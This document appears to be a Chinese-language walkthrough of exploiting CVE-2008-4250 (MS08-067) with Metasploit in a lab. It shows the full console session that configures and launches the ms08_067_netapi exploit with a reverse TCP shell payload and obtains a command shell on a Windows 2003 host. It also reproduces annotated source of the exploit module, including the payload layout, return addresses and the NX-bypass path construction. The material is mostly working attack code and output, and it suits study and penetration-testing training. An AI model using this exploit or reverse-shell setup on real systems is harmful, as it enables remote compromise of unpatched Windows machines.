CVE-2008-4250
Step
搜索漏洞利用模块
msf > search ms08_067 Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/smb/ms08_067_netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruption
选择载荷
msf exploit(ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- ...SNIP... generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline ...SNIP... msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp
攻击载荷配置选项
msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting ...SNIP... 5 Windows 2003 SP0 Universal ...SNIP... msf exploit(ms08_067_netapi) > set RHOST 10.10.10.130 RHOST => 10.10.10.130 msf exploit(ms08_067_netapi) > set LPORT 5000 LPORT => 5000 msf exploit(ms08_067_netapi) > set LHOST 10.10.10.128 LHOST => 10.10.10.128 msf exploit(ms08_067_netapi) > set target 5 target => 5
攻击
msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 10.10.10.128:5000 [*] Attempting to trigger the vulnerability... [*] Command shell session 2 opened (10.10.10.128:5000 -> 10.10.10.130:2041) at 2020-09-06 08:36:57 -0400 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32> echo 'Successfully!'
分析
攻击模块源码
# 此模块将包含Metasploit核心库的所有函数 require 'msf/core' # 类将继承远程渗透类的特性 class Metasploit3 < Msf::Exploit::Remote # 非常高的利用可能 Rank = GreatRanking # 从核心库中导入DCERPC和SMB利用模块 include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Server Service Relative Path Stack Corruption', # 模块描述,大致信息: # 漏洞发生的位置位于Server服务调用的NetAPI32.dll中,进行path canonicalization(路径规范化)的代码。 # 此模块可以绕过一些版本的DEP,选择的目标与真实系统不同会造成Server服务的崩溃。 # 并发攻击下,XP可以成功渗透,2003系统通常会崩溃或挂起。 'Description' => %q{ This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development. }, 'Author' => [ 'hdm', # with tons of input/help/testing from the community 'Brett Moore <brett.moore[at]insomniasec.com>', 'staylor', # check() detection ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12540 $', # 该漏洞在各个安全漏洞库中的参考名称、ID或URL 'References' => [ [ 'CVE', '2008-4250'], [ 'OSVDB', '49243'], [ 'MSB', 'MS08-067' ], # If this vulnerability is found, ms08-67 is exposed as well [ 'NEXPOSE', 'dcerpc-ms-netapi-netpathcanonicalize-dos'] ], # 默认选项,此处设置会话推出是预设采用退出线程的方式 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, # Payload初始化参数,一般包括可用空间大小与坏字符,此处还有两个关于调整栈空间布局的选项 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40", 'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'DefaultTarget' => 0, # 根据渗透目标的不同来进行不同的初始化,每个成员对应于可以被该模块攻击的操作系统平台 # 成员的各个变量对于该系统下成功渗透的几个关键部分,包括: # 返回地址在栈的位置、绕过NX需要的代码块地址等 'Targets' => [ # # Automatic targetting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true } ], # ...SNIP... # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP0 Universal', { 'Ret' => 0x0100129e, 'Scratch' => 0x00020408, } ], # JMP ESI SVCHOST.EXE # ...SNIP... ], 'DisclosureDate' => 'Oct 28 2008')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']), ], self.class) end def exploit # 首先建立TCP连接,然后进行SMB空会话连接,若制定了目标系统,则赋予相关变量以相应的值 # 若是自动获取,则尝试使用SMB会话获取目标系统信息... connect() smb_login() # Use a copy of the target mytarget = target if(target['auto']) mytarget = nil print_status("Automatically detecting the target...") fprint = smb_fingerprint() print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}") # Bail early on unknown OS if(fprint['os'] == 'Unknown') raise RuntimeError, "No matching target" end # Windows 2000 is mostly universal if(fprint['os'] == 'Windows 2000') mytarget = self.targets[1] end # ...SNIP... # 构建恶意路径,先初始化一些变量,包括填充字符串 pad ,服务器名称 server 以及前缀 prefix ,路径 path。 # 调用的库Rex (Ruby Extension Library) 是Metasploit Framework体系结构的基础 padder = [*("A".."Z")] pad = "A" while(pad.length < 7) c = padder[rand(padder.length)] next if pad.index(c) pad += c end prefix = "\\" path = "" server = Rex::Text.rand_text_alpha(rand(8)+1).upcase # 针对某一目标的攻击代码 # 由前文知,变量ret, scratch,ret对应SVCHOST.EXE系统文件中的JMP ESI指令地址 # 攻击模块是利用ESI寄存器中指向栈空间的地址,覆盖返回地址,通过JMP ESI指令进行跳转, # 最终执行栈中的Shellcode,期间可能需要关闭NX # Windows 2000, XP (NX), and 2003 (NO NX) mytargets if(not mytarget['RetDec']) # 构造内含跳转地址的填充字符串jumper,初始化长度为70,内容为A-Z的随机字符 jumper = Rex::Text.rand_text_alpha(70).upcase # 从第5字节起填充4字节由初始化ret定义的返回地址 jumper[ 4,4] = [mytarget.ret].pack("V") # 从第51字节填充8字节的nop指令和2字节的跳转指令"\xeb\x62"(jmp 0x62) jumper[50,8] = make_nops(8) jumper[58,2] = "\xeb\x62" # 生成恶意路径结构,详细信息见注释 path = Rex::Text.to_unicode("\\") + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + # Shellcode payload.encoded + # Relative path to trigger the bug Rex::Text.to_unicode("\\..\\..\\") + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) [mytarget['Scratch']].pack("V") + # EBP # Return to code which disables NX (or just the return) [ mytarget['DisableNX'] || mytarget.ret ].pack("V") + # Padding with embedded jump jumper + # NULL termination "\x00" * 2 end # ...SNIP... # 把构造的数据发送出去 # 首先向SMB端口发送RPC请求 handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) dcerpc_bind(handle) # 构造完整的数据包 stub = NDR.uwstring(server) + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(1024)) + NDR.wstring(prefix) + NDR.long(4097) + NDR.long(0) # NOTE: we don't bother waiting for a response here... print_status("Attempting to trigger the vulnerability...") # 将stub作为内容调用远程主机的RPC接口 dcerpc.call(0x1f, stub, false) # Cleanup handler disconnect end def check begin connect() smb_login() rescue Rex::ConnectionError => e print_error("Connection failed: #{e.class}: #{e}") return end # # Build the malicious path name # 5b878ae7 "db @eax;g" prefix = "\\" path = "\x00\\\x00/"*0x10 + Rex::Text.to_unicode("\\") + Rex::Text.to_unicode("R7") + Rex::Text.to_unicode("\\..\\..\\") + Rex::Text.to_unicode("R7") + "\x00"*2 server = Rex::Text.rand_text_alpha(rand(8)+1).upcase handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) begin # Samba doesn't have this handle and returns an ErrorCode dcerpc_bind(handle) rescue Rex::Proto::SMB::Exceptions::ErrorCode return Msf::Exploit::CheckCode::Safe end print_status("Verifying vulnerable status... (path: 0x%08x)" % path.length) stub = NDR.uwstring(server) + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(8) + NDR.wstring(prefix) + NDR.long(4097) + NDR.long(0) resp = dcerpc.call(0x1f, stub) error = resp[4,4].unpack("V")[0] # Cleanup simple.client.close simple.client.tree_disconnect disconnect if (error == 0x0052005c) # \R :) return Msf::Exploit::CheckCode::Vulnerable else print_status("System is not vulnerable (status: 0x%08x)" % error) if error return Msf::Exploit::CheckCode::Safe end end end
stub 是符合 NetPathCanonicalize 结构的标准调用包头,将触发远程主机上的 Server 服务去调用路径规范化处理函数 NetpwPathCannonicalize,stub 的 srvsvcNetPathCanonicalize 结构体如下:
struct srvsvc_NetPathCanonicalize { struct { const char *server_unc; // [unique, charset(UTF16)] const char *path; // [charset(UTF16)] uint32_t maxbuf; const char *prefix; // [charset(UTF16)] uint32_t pathflags; uint32_t *pathtype; // [ref] } in; };
二进制分析见《Metasploit 渗透测试魔鬼训练营》P205-211。